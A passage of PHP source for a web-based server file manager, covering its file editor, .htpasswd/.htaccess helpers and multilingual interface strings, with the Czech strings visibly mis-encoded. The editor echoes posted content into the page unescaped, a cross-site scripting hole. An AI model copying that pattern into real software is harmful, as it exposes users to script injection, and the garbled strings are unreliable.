	<td colspan="' . $cols . '" id="create">
		<select name="create_type" size="1" onfocus="activate(\'create\')">
		<option value="file">' . word('file') . '</option>
		<option value="directory">' . word('directory') . '</option>
		</select>
		<input type="text" name="create_name" onfocus="activate(\'create\')" />
		<input type="submit" name="submit_create" value="' . word('create') . '" onfocus="activate(\'create\')" />
	</td>
</tr>
';

}

function edit ($file) {
	global $self, $directory, $editcols, $editrows, $apache, $htpasswd, $htaccess;

	html_header();

	echo '<h2 style="margin-bottom: 3pt">' . html($file) . '</h2>

<form action="' . $self . '" method="post">

<table class="dialog">
<tr>
<td class="dialog">

	<textarea name="content" cols="' . $editcols . '" rows="' . $editrows . '" WRAP="off">';

	if (array_key_exists('content', $_POST)) {
		echo $_POST['content'];
	} else {
		$f = fopen($file, 'r');
		while (!feof($f)) {
			echo html(fread($f, 8192));
		}
		fclose($f);
	}

	if (!empty($_POST['user'])) {
		echo "\n" . $_POST['user'] . ':' . crypt($_POST['password']);
	}
	if (!empty($_POST['basic_auth'])) {
		if ($win) {
			$authfile = str_replace('\\', '/', $directory) . $htpasswd;
		} else {
			$authfile = $directory . $htpasswd;
		}
		echo "\nAuthType Basic\nAuthName &quot;Restricted Directory&quot;\n";
		echo 'AuthUserFile &quot;' . html($authfile) . "&quot;\n";
		echo 'Require valid-user';
	}

	echo '</textarea>

	<hr />
';

	if ($apache && basename($file) == $htpasswd) {
		echo '
	' . word('user') . ': <input type="text" name="user" />
	' . word('password') . ': <input type="password" name="password" />
	<input type="submit" value="' . word('add') . '" />

	<hr />
';

	}

	if ($apache && basename($file) == $htaccess) {
		echo '
	<input type="submit" name="basic_auth" value="' . word('add_basic_auth') . '" />

	<hr />
';

	}

	echo '
	<input type="hidden" name="action" value="edit" />
	<input type="hidden" name="file" value="' . html($file) . '" />
	<input type="hidden" name="dir" value="' . html($directory) . '" />
	<input type="reset" value="' . word('reset') . '" id="red_button" />
	<input type="submit" name="save" value="' . word('save') . '" id="green_button" style="margin-left: 50px" />

</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';

	html_footer();

}

function spacer () {
	global $cols;

	echo '<tr>
	<td colspan="' . $cols . '" style="height: 1em"></td>
</tr>
';

}

function textfieldsize ($content) {

	$size = strlen($content) + 5;
	if ($size < 30) $size = 30;

	return $size;

}

function request_dump () {

	foreach ($_REQUEST as $key => $value) {
		echo "\t<input type=\"hidden\" name=\"" . html($key) . '" value="' . html($value) . "\" />\n";
	}

}

/* ------------------------------------------------------------------------- */

function html ($string) {
	global $site_charset;
	return htmlentities($string, ENT_COMPAT, $site_charset);
}

function word ($word) {
	global $words, $word_charset;
	return htmlentities($words[$word], ENT_COMPAT, $word_charset);
}

function phrase ($phrase, $arguments) {
	global $words;
	static $search;

	if (!is_array($search)) for ($i = 1; $i <= 8; $i++) $search[] = "%$i";

	for ($i = 0; $i < sizeof($arguments); $i++) {
		$arguments[$i] = nl2br(html($arguments[$i]));
	}

	$replace = array('{' => '<pre>', '}' =>'</pre>', '[' => '<b>', ']' => '</b>');

	return str_replace($search, $arguments, str_replace(array_keys($replace), $replace, nl2br(html($words[$phrase]))));

}

function getwords ($lang) {
	global $word_charset, $date_format;

	switch ($lang) {
	case 'de':

		$date_format = 'd.m.y H:i:s';
		$word_charset = 'ISO-8859-1';

		return array(
'directory' => 'Verzeichnis',
'file' => 'Datei',
'filename' => 'Dateiname',

'size' => 'Gr&#246;&#223;e',
'permission' => 'Rechte',
'owner' => 'Eigner',
'group' => 'Gruppe',
'other' => 'Andere',
'functions' => 'Funktionen',

'read' => 'lesen',
'write' => 'schreiben',
'execute' => 'ausf&#252;hren',

'create_symlink' => 'Symlink erstellen',
'delete' => 'l&#246;schen',
'rename' => 'umbenennen',
'move' => 'verschieben',
'copy' => 'kopieren',
'edit' => 'editieren',
'download' => 'herunterladen',
'upload' => 'hochladen',
'create' => 'erstellen',
'change' => 'wechseln',
'save' => 'speichern',
'set' => 'setze',
'reset' => 'zur&#252;cksetzen',
'relative' => 'Pfad zum Ziel relativ',

'yes' => 'Ja',
'no' => 'Nein',
'back' => 'zur&#252;ck',
'destination' => 'Ziel',
'symlink' => 'Symbolischer Link',
'no_output' => 'keine Ausgabe',

'user' => 'Benutzername',
'password' => 'Kennwort',
'add' => 'hinzuf&#252;gen',
'add_basic_auth' => 'HTTP-Basic-Auth hinzuf&#252;gen',

'uploaded' => '"[%1]" wurde hochgeladen.',
'not_uploaded' => '"[%1]" konnte nicht hochgeladen werden.',
'already_exists' => '"[%1]" existiert bereits.',
'created' => '"[%1]" wurde erstellt.',
'not_created' => '"[%1]" konnte nicht erstellt werden.',
'really_delete' => 'Sollen folgende Dateien wirklich gel&#246;scht werden?',
'deleted' => "Folgende Dateien wurden gel&#246;scht:\n[%1]",
'not_deleted' => "Folgende Dateien konnten nicht gel&#246;scht werden:\n[%1]",
'rename_file' => 'Benenne Datei um:',
'renamed' => '"[%1]" wurde in "[%2]" umbenannt.',
'not_renamed' => '"[%1] konnte nicht in "[%2]" umbenannt werden.',
'move_files' => 'Verschieben folgende Dateien:',
'moved' => "Folgende Dateien wurden nach \"[%2]\" verschoben:\n[%1]",
'not_moved' => "Folgende Dateien konnten nicht nach \"[%2]\" verschoben werden:\n[%1]",
'copy_files' => 'Kopiere folgende Dateien:',
'copied' => "Folgende Dateien wurden nach \"[%2]\" kopiert:\n[%1]",
'not_copied' => "Folgende Dateien konnten nicht nach \"[%2]\" kopiert werden:\n[%1]",
'not_edited' => '"[%1]" kann nicht editiert werden.',
'executed' => "\"[%1]\" wurde erfolgreich ausgef&#252;hrt:\n{%2}",
'not_executed' => "\"[%1]\" konnte nicht erfolgreich ausgef&#252;hrt werden:\n{%2}",
'saved' => '"[%1]" wurde gespeichert.',
'not_saved' => '"[%1]" konnte nicht gespeichert werden.',
'symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" wurde erstellt.',
'not_symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" konnte nicht erstellt werden.',
'permission_for' => 'Rechte f&#252;r "[%1]":',
'permission_set' => 'Die Rechte f&#252;r "[%1]" wurden auf [%2] gesetzt.',
'permission_not_set' => 'Die Rechte f&#252;r "[%1]" konnten nicht auf [%2] gesetzt werden.',
'not_readable' => '"[%1]" kann nicht gelesen werden.'
		);

	case 'fr':

		$date_format = 'd.m.y H:i:s';
		$word_charset = 'ISO-8859-1';

		return array(
'directory' => 'R&#233;pertoire',
'file' => 'Fichier',
'filename' => 'Nom fichier',

'size' => 'Taille',
'permission' => 'Droits',
'owner' => 'Propri&#233;taire',
'group' => 'Groupe',
'other' => 'Autres',
'functions' => 'Fonctions',

'read' => 'Lire',
'write' => 'Ecrire',
'execute' => 'Ex&#233;cuter',

'create_symlink' => 'Cr&#233;er lien symbolique',
'delete' => 'Effacer',
'rename' => 'Renommer',
'move' => 'D&#233;placer',
'copy' => 'Copier',
'edit' => 'Ouvrir',
'download' => 'T&#233;l&#233;charger sur PC',
'upload' => 'T&#233;l&#233;charger sur serveur',
'create' => 'Cr&#233;er',
'change' => 'Changer',
'save' => 'Sauvegarder',
'set' => 'Ex&#233;cuter',
'reset' => 'R&#233;initialiser',
'relative' => 'Relatif',

'yes' => 'Oui',
'no' => 'Non',
'back' => 'Retour',
'destination' => 'Destination',
'symlink' => 'Lien symbollique',
'no_output' => 'Pas de sortie',

'user' => 'Utilisateur',
'password' => 'Mot de passe',
'add' => 'Ajouter',
'add_basic_auth' => 'add basic-authentification',

'uploaded' => '"[%1]" a &#233;t&#233; t&#233;l&#233;charg&#233; sur le serveur.',
'not_uploaded' => '"[%1]" n a pas &#233;t&#233; t&#233;l&#233;charg&#233; sur le serveur.',
'already_exists' => '"[%1]" existe d&#233;j&#224;.',
'created' => '"[%1]" a &#233;t&#233; cr&#233;&#233;.',
'not_created' => '"[%1]" n a pas pu &#234;tre cr&#233;&#233;.',
'really_delete' => 'Effacer le fichier?',
'deleted' => "Ces fichiers ont &#233;t&#233; d&#233;tuits:\n[%1]",
'not_deleted' => "Ces fichiers n ont pu &#234;tre d&#233;truits:\n[%1]",
'rename_file' => 'Renomme fichier:',
'renamed' => '"[%1]" a &#233;t&#233; renomm&#233; en "[%2]".',
'not_renamed' => '"[%1] n a pas pu &#234;tre renomm&#233; en "[%2]".',
'move_files' => 'D&#233;placer ces fichiers:',
'moved' => "Ces fichiers ont &#233;t&#233; d&#233;plac&#233;s en \"[%2]\":\n[%1]",
'not_moved' => "Ces fichiers n ont pas pu &#234;tre d&#233;plac&#233;s en \"[%2]\":\n[%1]",
'copy_files' => 'Copier ces fichiers:',
'copied' => "Ces fichiers ont &#233;t&#233; copi&#233;s en \"[%2]\":\n[%1]",
'not_copied' => "Ces fichiers n ont pas pu &#234;tre copi&#233;s en \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" ne peut &#234;tre ouvert.',
'executed' => "\"[%1]\" a &#233;t&#233; brillamment ex&#233;cut&#233; :\n{%2}",
'not_executed' => "\"[%1]\" n a pas pu &#234;tre ex&#233;cut&#233;:\n{%2}",
'saved' => '"[%1]" a &#233;t&#233; sauvegard&#233;.',
'not_saved' => '"[%1]" n a pas pu &#234;tre sauvegard&#233;.',
'symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" a &#233;t&#233; cr&#233;e.',
'not_symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" n a pas pu &#234;tre cr&#233;&#233;.',
'permission_for' => 'Droits de "[%1]":',
'permission_set' => 'Droits de "[%1]" ont &#233;t&#233; chang&#233;s en [%2].',
'permission_not_set' => 'Droits de "[%1]" n ont pas pu &#234;tre chang&#233;s en[%2].',
'not_readable' => '"[%1]" ne peut pas &#234;tre ouvert.'
		);

	case 'it':

		$date_format = 'd-m-Y H:i:s';
		$word_charset = 'ISO-8859-1';

		return array(
'directory' => 'Directory',
'file' => 'File',
'filename' => 'Nome File',

'size' => 'Dimensioni',
'permission' => 'Permessi',
'owner' => 'Proprietario',
'group' => 'Gruppo',
'other' => 'Altro',
'functions' => 'Funzioni',

'read' => 'leggi',
'write' => 'scrivi',
'execute' => 'esegui',

'create_symlink' => 'crea link simbolico',
'delete' => 'cancella',
'rename' => 'rinomina',
'move' => 'sposta',
'copy' => 'copia',
'edit' => 'modifica',
'download' => 'download',
'upload' => 'upload',
'create' => 'crea',
'change' => 'cambia',
'save' => 'salva',
'set' => 'imposta',
'reset' => 'reimposta',
'relative' => 'Percorso relativo per la destinazione',

'yes' => 'Si',
'no' => 'No',
'back' => 'indietro',
'destination' => 'Destinazione',
'symlink' => 'Link simbolico',
'no_output' => 'no output',

'user' => 'User',
'password' => 'Password',
'add' => 'aggiungi',
'add_basic_auth' => 'aggiungi autenticazione base',

'uploaded' => '"[%1]" &#232; stato caricato.',
'not_uploaded' => '"[%1]" non &#232; stato caricato.',
'already_exists' => '"[%1]" esiste gi&#224;.',
'created' => '"[%1]" &#232; stato creato.',
'not_created' => '"[%1]" non &#232; stato creato.',
'really_delete' => 'Cancello questi file ?',
'deleted' => "Questi file sono stati cancellati:\n[%1]",
'not_deleted' => "Questi file non possono essere cancellati:\n[%1]",
'rename_file' => 'File rinominato:',
'renamed' => '"[%1]" &#232; stato rinominato in "[%2]".',
'not_renamed' => '"[%1] non &#232; stato rinominato in "[%2]".',
'move_files' => 'Sposto questi file:',
'moved' => "Questi file sono stati spostati in \"[%2]\":\n[%1]",
'not_moved' => "Questi file non possono essere spostati in \"[%2]\":\n[%1]",
'copy_files' => 'Copio questi file',
'copied' => "Questi file sono stati copiati in \"[%2]\":\n[%1]",
'not_copied' => "Questi file non possono essere copiati in \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" non pu&#242; essere modificato.',
'executed' => "\"[%1]\" &#232; stato eseguito con successo:\n{%2}",
'not_executed' => "\"[%1]\" non &#232; stato eseguito con successo\n{%2}",
'saved' => '"[%1]" &#232; stato salvato.',
'not_saved' => '"[%1]" non &#232; stato salvato.',
'symlinked' => 'Il link siambolico da "[%2]" a "[%1]" &#232; stato creato.',
'not_symlinked' => 'Il link siambolico da "[%2]" a "[%1]" non &#232; stato creato.',
'permission_for' => 'Permessi di "[%1]":',
'permission_set' => 'I permessi di "[%1]" sono stati impostati [%2].',
'permission_not_set' => 'I permessi di "[%1]" non sono stati impostati [%2].',
'not_readable' => '"[%1]" non pu&#242; essere letto.'
		);

	case 'nl':

		$date_format = 'n/j/y H:i:s';
		$word_charset = 'ISO-8859-1';

		return array(
'directory' => 'Directory',
'file' => 'Bestand',
'filename' => 'Bestandsnaam',

'size' => 'Grootte',
'permission' => 'Bevoegdheid',
'owner' => 'Eigenaar',
'group' => 'Groep',
'other' => 'Anderen',
'functions' => 'Functies',

'read' => 'lezen',
'write' => 'schrijven',
'execute' => 'uitvoeren',

'create_symlink' => 'maak symlink',
'delete' => 'verwijderen',
'rename' => 'hernoemen',
'move' => 'verplaatsen',
'copy' => 'kopieren',
'edit' => 'bewerken',
'download' => 'downloaden',
'upload' => 'uploaden',
'create' => 'aanmaken',
'change' => 'veranderen',
'save' => 'opslaan',
'set' => 'instellen',
'reset' => 'resetten',
'relative' => 'Relatief pat naar doel',

'yes' => 'Ja',
'no' => 'Nee',
'back' => 'terug',
'destination' => 'Bestemming',
'symlink' => 'Symlink',
'no_output' => 'geen output',

'user' => 'Gebruiker',
'password' => 'Wachtwoord',
'add' => 'toevoegen',
'add_basic_auth' => 'add basic-authentification',

'uploaded' => '"[%1]" is verstuurd.',
'not_uploaded' => '"[%1]" kan niet worden verstuurd.',
'already_exists' => '"[%1]" bestaat al.',
'created' => '"[%1]" is aangemaakt.',
'not_created' => '"[%1]" kan niet worden aangemaakt.',
'really_delete' => 'Deze bestanden verwijderen?',
'deleted' => "Deze bestanden zijn verwijderd:\n[%1]",
'not_deleted' => "Deze bestanden konden niet worden verwijderd:\n[%1]",
'rename_file' => 'Bestandsnaam veranderen:',
'renamed' => '"[%1]" heet nu "[%2]".',
'not_renamed' => '"[%1] kon niet worden veranderd in "[%2]".',
'move_files' => 'Verplaats deze bestanden:',
'moved' => "Deze bestanden zijn verplaatst naar \"[%2]\":\n[%1]",
'not_moved' => "Kan deze bestanden niet verplaatsen naar \"[%2]\":\n[%1]",
'copy_files' => 'Kopieer deze bestanden:',
'copied' => "Deze bestanden zijn gekopieerd naar \"[%2]\":\n[%1]",
'not_copied' => "Deze bestanden kunnen niet worden gekopieerd naar \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" kan niet worden bewerkt.',
'executed' => "\"[%1]\" is met succes uitgevoerd:\n{%2}",
'not_executed' => "\"[%1]\" is niet goed uitgevoerd:\n{%2}",
'saved' => '"[%1]" is opgeslagen.',
'not_saved' => '"[%1]" is niet opgeslagen.',
'symlinked' => 'Symlink van "[%2]" naar "[%1]" is aangemaakt.',
'not_symlinked' => 'Symlink van "[%2]" naar "[%1]" is niet aangemaakt.',
'permission_for' => 'Bevoegdheid voor "[%1]":',
'permission_set' => 'Bevoegdheid van "[%1]" is ingesteld op [%2].',
'permission_not_set' => 'Bevoegdheid van "[%1]" is niet ingesteld op [%2].',
'not_readable' => '"[%1]" kan niet worden gelezen.'
		);

	case 'se':

		$date_format = 'n/j/y H:i:s';
		$word_charset = 'ISO-8859-1';
 
		return array(
'directory' => 'Mapp',
'file' => 'Fil',
'filename' => 'Filnamn',
 
'size' => 'Storlek',
'permission' => 'S&#228;kerhetsniv&#229;',
'owner' => '&#196;gare',
'group' => 'Grupp',
'other' => 'Andra',
'functions' => 'Funktioner',
 
'read' => 'L&#228;s',
'write' => 'Skriv',
'execute' => 'Utf&#246;r',
 
'create_symlink' => 'Skapa symlink',
'delete' => 'Radera',
'rename' => 'Byt namn',
'move' => 'Flytta',
'copy' => 'Kopiera',
'edit' => '&#196;ndra',
'download' => 'Ladda ner',
'upload' => 'Ladda upp',
'create' => 'Skapa',
'change' => '&#196;ndra',
'save' => 'Spara',
'set' => 'Markera',
'reset' => 'T&#246;m',
'relative' => 'Relative path to target',
 
'yes' => 'Ja',
'no' => 'Nej',
'back' => 'Tillbaks',
'destination' => 'Destination',
'symlink' => 'Symlink',
'no_output' => 'no output',
 
'user' => 'Anv&#228;ndare',
'password' => 'L&#246;senord',
'add' => 'L&#228;gg till',
'add_basic_auth' => 'add basic-authentification',
 
'uploaded' => '"[%1]" har laddats upp.',
'not_uploaded' => '"[%1]" kunde inte laddas upp.',
'already_exists' => '"[%1]" finns redan.',
'created' => '"[%1]" har skapats.',
'not_created' => '"[%1]" kunde inte skapas.',
'really_delete' => 'Radera dessa filer?',
'deleted' => "De h&#228;r filerna har raderats:\n[%1]",
'not_deleted' => "Dessa filer kunde inte raderas:\n[%1]",
'rename_file' => 'Byt namn p&#229; fil:',
'renamed' => '"[%1]" har bytt namn till "[%2]".',
'not_renamed' => '"[%1] kunde inte d&#246;pas om till "[%2]".',
'move_files' => 'Flytta dessa filer:',
'moved' => "Dessa filer har flyttats till \"[%2]\":\n[%1]",
'not_moved' => "Dessa filer kunde inte flyttas till \"[%2]\":\n[%1]",
'copy_files' => 'Kopiera dessa filer:',
'copied' => "Dessa filer har kopierats till \"[%2]\":\n[%1]",
'not_copied' => "Dessa filer kunde inte kopieras till \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" kan inte &#228;ndras.',
'executed' => "\"[%1]\" har utf&#246;rts:\n{%2}",
'not_executed' => "\"[%1]\" kunde inte utf&#246;ras:\n{%2}",
'saved' => '"[%1]" har sparats.',
'not_saved' => '"[%1]" kunde inte sparas.',
'symlinked' => 'Symlink fr&#229;n "[%2]" till "[%1]" har skapats.',
'not_symlinked' => 'Symlink fr&#229;n "[%2]" till "[%1]" kunde inte skapas.',
'permission_for' => 'R&#228;ttigheter f&#246;r "[%1]":',
'permission_set' => 'R&#228;ttigheter f&#246;r "[%1]" &#228;ndrades till [%2].',
'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].',
'not_readable' => '"[%1]" kan inte l&#228;sas.'
		);

	case 'sp':

		$date_format = 'j/n/y H:i:s';
		$word_charset = 'ISO-8859-1';

		return array(
'directory' => 'Directorio',
'file' => 'Archivo',
'filename' => 'Nombre Archivo',

'size' => 'Tama&#241;o',
'permission' => 'Permisos',
'owner' => 'Propietario',
'group' => 'Grupo',
'other' => 'Otros',
'functions' => 'Funciones',

'read' => 'lectura',
'write' => 'escritura',
'execute' => 'ejecuci&#243;n',

'create_symlink' => 'crear enlace',
'delete' => 'borrar',
'rename' => 'renombrar',
'move' => 'mover',
'copy' => 'copiar',
'edit' => 'editar',
'download' => 'bajar',
'upload' => 'subir',
'create' => 'crear',
'change' => 'cambiar',
'save' => 'salvar',
'set' => 'setear',
'reset' => 'resetear',
'relative' => 'Path relativo',

'yes' => 'Si',
'no' => 'No',
'back' => 'atr&#225;s',
'destination' => 'Destino',
'symlink' => 'Enlace',
'no_output' => 'sin salida',

'user' => 'Usuario',
'password' => 'Clave',
'add' => 'agregar',
'add_basic_auth' => 'agregar autentificaci&#243;n b&#225;sica',

'uploaded' => '"[%1]" ha sido subido.',
'not_uploaded' => '"[%1]" no pudo ser subido.',
'already_exists' => '"[%1]" ya existe.',
'created' => '"[%1]" ha sido creado.',
'not_created' => '"[%1]" no pudo ser creado.',
'really_delete' => '&#191;Borra estos archivos?',
'deleted' => "Estos archivos han sido borrados:\n[%1]",
'not_deleted' => "Estos archivos no pudieron ser borrados:\n[%1]",
'rename_file' => 'Renombra archivo:',
'renamed' => '"[%1]" ha sido renombrado a "[%2]".',
'not_renamed' => '"[%1] no pudo ser renombrado a "[%2]".',
'move_files' => 'Mover estos archivos:',
'moved' => "Estos archivos han sido movidos a \"[%2]\":\n[%1]",
'not_moved' => "Estos archivos no pudieron ser movidos a \"[%2]\":\n[%1]",
'copy_files' => 'Copiar estos archivos:',
'copied' => "Estos archivos han sido copiados a  \"[%2]\":\n[%1]",
'not_copied' => "Estos archivos no pudieron ser copiados \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" no pudo ser editado.',
'executed' => "\"[%1]\" ha sido ejecutado correctamente:\n{%2}",
'not_executed' => "\"[%1]\" no pudo ser ejecutado correctamente:\n{%2}",
'saved' => '"[%1]" ha sido salvado.',
'not_saved' => '"[%1]" no pudo ser salvado.',
'symlinked' => 'Enlace desde "[%2]" a "[%1]" ha sido creado.',
'not_symlinked' => 'Enlace desde "[%2]" a "[%1]" no pudo ser creado.',
'permission_for' => 'Permisos de "[%1]":',
'permission_set' => 'Permisos de "[%1]" fueron seteados a [%2].',
'permission_not_set' => 'Permisos de "[%1]" no pudo ser seteado a [%2].',
'not_readable' => '"[%1]" no pudo ser le&#237;do.'
		);

	case 'dk':

		$date_format = 'n/j/y H:i:s';
		$word_charset = 'ISO-8859-1';

		return array(
'directory' => 'Mappe',
'file' => 'Fil',
'filename' => 'Filnavn',

'size' => 'St&#248;rrelse',
'permission' => 'Rettighed',
'owner' => 'Ejer',
'group' => 'Gruppe',
'other' => 'Andre',
'functions' => 'Funktioner',

'read' => 'l&#230;s',
'write' => 'skriv',
'execute' => 'k&#248;r',

'create_symlink' => 'opret symbolsk link',
'delete' => 'slet',
'rename' => 'omd&#248;b',
'move' => 'flyt',
'copy' => 'kopier',
'edit' => 'rediger',
'download' => 'download',
'upload' => 'upload',
'create' => 'opret',
'change' => 'skift',
'save' => 'gem',
'set' => 's&#230;t',
'reset' => 'nulstil',
'relative' => 'Relativ sti til valg',

'yes' => 'Ja',
'no' => 'Nej',
'back' => 'tilbage',
'destination' => 'Distination',
'symlink' => 'Symbolsk link',
'no_output' => 'ingen resultat',

'user' => 'Bruger',
'password' => 'Kodeord',
'add' => 'tilf&#248;j',
'add_basic_auth' => 'tilf&#248;j grundliggende rettigheder',

'uploaded' => '"[%1]" er blevet uploaded.',
'not_uploaded' => '"[%1]" kunnu ikke uploades.',
'already_exists' => '"[%1]" findes allerede.',
'created' => '"[%1]" er blevet oprettet.',
'not_created' => '"[%1]" kunne ikke oprettes.',
'really_delete' => 'Slet disse filer?',
'deleted' => "Disse filer er blevet slettet:\n[%1]",
'not_deleted' => "Disse filer kunne ikke slettes:\n[%1]",
'rename_file' => 'Omd&#248;d fil:',
'renamed' => '"[%1]" er blevet omd&#248;bt til "[%2]".',
'not_renamed' => '"[%1] kunne ikke omd&#248;bes til "[%2]".',
'move_files' => 'Flyt disse filer:',
'moved' => "Disse filer er blevet flyttet til \"[%2]\":\n[%1]",
'not_moved' => "Disse filer kunne ikke flyttes til \"[%2]\":\n[%1]",
'copy_files' => 'Kopier disse filer:',
'copied' => "Disse filer er kopieret til \"[%2]\":\n[%1]",
'not_copied' => "Disse filer kunne ikke kopieres til \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" kan ikke redigeres.',
'executed' => "\"[%1]\" er blevet k&#248;rt korrekt:\n{%2}",
'not_executed' => "\"[%1]\" kan ikke k&#248;res korrekt:\n{%2}",
'saved' => '"[%1]" er blevet gemt.',
'not_saved' => '"[%1]" kunne ikke gemmes.',
'symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" er blevet oprettet.',
'not_symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" kunne ikke oprettes.',
'permission_for' => 'Rettigheder for "[%1]":',
'permission_set' => 'Rettigheder for "[%1]" blev sat til [%2].',
'permission_not_set' => 'Rettigheder for "[%1]" kunne ikke s&#230;ttes til [%2].',
'not_readable' => '"[%1]" Kan ikke l&#230;ses.'
		);

	case 'tr':

		$date_format = 'n/j/y H:i:s';
		$word_charset = 'ISO-8859-1';

		return array(
'directory' => 'Klas&#246;r',
'file' => 'Dosya',
'filename' => 'dosya adi',

'size' => 'boyutu',
'permission' => 'Izin',
'owner' => 'sahib',
'group' => 'Grup',
'other' => 'Digerleri',
'functions' => 'Fonksiyonlar',

'read' => 'oku',
'write' => 'yaz',
'execute' => '&#231;alistir',

'create_symlink' => 'yarat symlink',
'delete' => 'sil',
'rename' => 'ad degistir',
'move' => 'tasi',
'copy' => 'kopyala',
'edit' => 'd&#252;zenle',
'download' => 'indir',
'upload' => 'y&#252;kle',
'create' => 'create',
'change' => 'degistir',
'save' => 'kaydet',
'set' => 'ayar',
'reset' => 'sifirla',
'relative' => 'Hedef yola g&#246;re',

'yes' => 'Evet',
'no' => 'Hayir',
'back' => 'Geri',
'destination' => 'Hedef',
'symlink' => 'K&#253;sa yol',
'no_output' => '&#231;ikti yok',

'user' => 'Kullanici',
'password' => 'Sifre',
'add' => 'ekle',
'add_basic_auth' => 'ekle basit-authentification',

'uploaded' => '"[%1]" y&#252;klendi.',
'not_uploaded' => '"[%1]" y&#252;klenemedi.',
'already_exists' => '"[%1]" kullanilmakta.',
'created' => '"[%1]" olusturuldu.',
'not_created' => '"[%1]" olusturulamadi.',
'really_delete' => 'Bu dosyalari silmek istediginizden eminmisiniz?',
'deleted' => "Bu dosyalar silindi:\n[%1]",
'not_deleted' => "Bu dosyalar silinemedi:\n[%1]",
'rename_file' => 'Adi degisen dosya:',
'renamed' => '"[%1]" adili dosyanin yeni adi "[%2]".',
'not_renamed' => '"[%1] adi degistirilemedi "[%2]" ile.',
'move_files' => 'Tasinan dosyalar:',
'moved' => "Bu dosyalari tasidiginiz yer \"[%2]\":\n[%1]",
'not_moved' => "Bu dosyalari tasiyamadiginiz yer \"[%2]\":\n[%1]",
'copy_files' => 'Kopyalanan dosyalar:',
'copied' => "Bu dosyalar kopyalandi \"[%2]\":\n[%1]",
'not_copied' => "Bu dosyalar kopyalanamiyor \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" d&#252;zenlenemiyor.',
'executed' => "\"[%1]\" basariyla &#231;alistirildi:\n{%2}",
'not_executed' => "\"[%1]\" &#231;alistirilamadi:\n{%2}",
'saved' => '"[%1]" kaydedildi.',
'not_saved' => '"[%1]" kaydedilemedi.',
'symlinked' => '"[%2]" den "[%1]" e k&#253;sayol olu&#254;turuldu.',
'not_symlinked' => '"[%2]"den "[%1]" e k&#253;sayol olu&#254;turulamad&#253;.',
'permission_for' => 'Izinler "[%1]":',
'permission_set' => 'Izinler "[%1]" degistirildi [%2].',
'permission_not_set' => 'Izinler "[%1]" degistirilemedi [%2].',
'not_readable' => '"[%1]" okunamiyor.'
		);

	case 'cs':

		$date_format = 'd.m.y H:i:s';
		$word_charset = 'UTF-8';

		return array(
'directory' => 'Adres&#195;&#161;&#197;�',
'file' => 'Soubor',
'filename' => 'Jm&#195;�no souboru',

'size' => 'Velikost',
'permission' => 'Pr&#195;&#161;va',
'owner' => 'Vlastn&#195;�k',
'group' => 'Skupina',
'other' => 'Ostatn&#195;�',
'functions' => 'Funkce',

'read' => '&#196;&#338;ten&#195;�',
'write' => 'Z&#195;&#161;pis',
'execute' => 'Spou&#197;&#161;t&#196;�n&#195;�',

'create_symlink' => 'Vytvo&#197;�it symbolick&#195;&#189; odkaz',
'delete' => 'Smazat',
'rename' => 'P&#197;�ejmenovat',
'move' => 'P&#197;�esunout',
'copy' => 'Zkop&#195;�rovat',
'edit' => 'Otev&#197;�&#195;�t',
'download' => 'St&#195;&#161;hnout',
'upload' => 'Nahraj na server',
'create' => 'Vytvo&#197;�it',
'change' => 'Zm&#196;�nit',
'save' => 'Ulo&#197;&#190;it',
'set' => 'Nastavit',
'reset' => 'zp&#196;�t',
'relative' => 'Relatif',

'yes' => 'Ano',
'no' => 'Ne',
'back' => 'Zp&#196;�t',
'destination' => 'Destination',
'symlink' => 'Symbolick&#195;&#189; odkaz',
'no_output' => 'Pr&#195;&#161;zdn&#195;&#189; v&#195;&#189;stup',

'user' => 'U&#197;&#190;ivatel',
'password' => 'Heslo',
'add' => 'P&#197;�idat',
'add_basic_auth' => 'p&#197;�idej z&#195;&#161;kladn&#195;� autentizaci',

'uploaded' => 'Soubor "[%1]" byl nahr&#195;&#161;n na server.',
'not_uploaded' => 'Soubor "[%1]" nebyl nahr&#195;&#161;n na server.',
'already_exists' => 'Soubor "[%1]" u&#197;&#190; exituje.',
'created' => 'Soubor "[%1]" byl vytvo&#197;�en.',
'not_created' => 'Soubor "[%1]" nemohl b&#195;&#189;t  vytvo&#197;�en.',
'really_delete' => 'Vymazat soubor?',
'deleted' => "Byly vymaz&#195;&#161;ny tyto soubory:\n[%1]",
'not_deleted' => "Tyto soubory nemohly b&#195;&#189;t vytvo&#197;�eny:\n[%1]",
'rename_file' => 'P&#197;�ejmenuj soubory:',
'renamed' => 'Soubor "[%1]" byl p&#197;�ejmenov&#195;&#161;n na "[%2]".',
'not_renamed' => 'Soubor "[%1]" nemohl b&#195;&#189;t p&#197;�ejmenov&#195;&#161;n na "[%2]".',
'move_files' => 'P&#197;�em&#195;�stit tyto soubory:',
'moved' => "Tyto soubory byly p&#197;�em&#195;�st&#196;�ny do \"[%2]\":\n[%1]",
'not_moved' => "Tyto soubory nemohly b&#195;&#189;t p&#197;�em&#195;�st&#196;�ny do \"[%2]\":\n[%1]",
'copy_files' => 'Zkop&#195;�rovat tyto soubory:',
'copied' => "Tyto soubory byly zkop&#195;�rov&#195;&#161;ny do \"[%2]\":\n[%1]",
'not_copied' => "Tyto soubory nemohly b&#195;&#189;t zkop&#195;�rov&#195;&#161;ny do \"[%2]\":\n[%1]",
'not_edited' => 'Soubor "[%1]" nemohl b&#195;&#189;t otev&#197;�en.',
'executed' => "SOubor \"[%1]\" byl spu&#197;&#161;t&#196;�n :\n{%2}",
'not_executed' => "Soubor \"[%1]\" nemohl b&#195;&#189;t spu&#197;&#161;t&#196;�n:\n{%2}",
'saved' => 'Soubor "[%1]" byl ulo&#197;&#190;en.',
'not_saved' => 'Soubor "[%1]" nemohl b&#195;&#189;t ulo&#197;&#190;en.',
